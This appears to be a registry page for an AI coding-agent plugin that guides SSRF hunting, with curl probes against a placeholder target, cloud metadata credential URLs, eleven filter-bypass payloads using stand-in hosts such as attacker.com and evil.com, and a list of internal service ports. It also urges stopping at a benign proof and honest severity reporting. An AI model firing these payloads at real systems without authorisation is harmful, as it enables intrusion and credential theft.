hunt-ssrf · git:20260929.29bbcb8 · 2026-09-29 · sha256 a6b499a27ba20fe1

hunt-ssrf git:20260929.29bbcb8B

Immutable. This exact content never changes and is served at /api/v1/blob/a6b499a27ba20fe1.

No tool to install first
claude plugin marketplace add https://markdownregistry.com/mp/a/art_kbmj4dln56hqxqqr/a6b499a27ba20fe11278a8c504b32c13b0bf5ae7d4351a518b4758cdd6acfa28.json

Then /plugin install hunt-ssrf@markdownregistry-kbmj4dln56hqxqqr in Claude Code. It installs this exact version, the one graded B here, pinned to the commit it was graded at, and leaves it there.

---
name: hunt-ssrf
description: SSRF — cloud metadata, internal service access, DNS rebinding, 11 IP bypasses. Must prove internal resource access.
---

# SSRF HUNTING — 3 BULLETS MAX

**Core:** Server fetching INTERNAL URLs it shouldn't reach.

## DIFFERENTIAL
```bash
TARGET="https://target.com/fetch?url="
# Baseline: external works
curl -s "${TARGET}http://httpbin.org/ip"
# Test: cloud metadata → should FAIL
curl -s "${TARGET}http://169.254.169.254/latest/meta-data/"
# Test: localhost → should FAIL
curl -s "${TARGET}http://localhost:6379"
```

## CLOUD METADATA
```
AWS:    http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP:    http://metadata.google.internal/computeMetadata/v1/ (Header: Metadata-Flavor: Google)
Azure:  http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Header: Metadata: true)
```

## IP BYPASS (11 techniques)
```
Decimal: http://2130706433    Octal: http://0177.0.0.1
Hex: http://0x7f.0x0.0x0.0x1  Short: http://127.1
IPv6: http://[::1]            Mapped: http://[::ffff:127.0.0.1]
DNS rebinding: attacker.com → 127.0.0.1
Redirect chain: external URL → 302 → internal
URL parser: http://evil.com#@internal
CNAME: attacker domain → internal hostname
Unicode: http://127。0。0。1
```

## INTERNAL FINGERPRINTING
```
Redis: localhost:6379    Elasticsearch: localhost:9200
Docker: localhost:2375   K8s: localhost:6443
Jenkins: localhost:8080  Grafana: localhost:3000
etcd: localhost:2379     Consul: localhost:8500
```

## IMPACT DEMONSTRATION (minimum sufficient)
Prove the fetch crosses the boundary, then stop. The classic sufficient proof
is a canary you control (a collaborator endpoint / your own server) plus a
short internal read that returns something non-public but harmless:

```
external URL → normal response          (baseline)
your canary host → request arrives       (proves server-side fetch)
127.0.0.1 / internal host → response differs from the generic block page
```

**Stop there.** Do not read cloud metadata, do not enumerate internal ports,
do not write to Redis/etcd, do not deploy a pod. Those are the actions that
turn an assessment into an incident. Report the blind-SSRF vs
response-returning distinction, plus whatever one benign internal read you
used, and let the owner decide the rest.

Severity = what you actually read. "Blind SSRF with egress to internal
networks" is a complete, honest finding; do not price it as if you had
exfiltrated credentials.

## FALSE POSITIVES
- DNS callback only → not sufficient on its own; need actual internal ACCESS
- Server fetches external URLs → normal behavior
- Timeout on internal → correctly filtered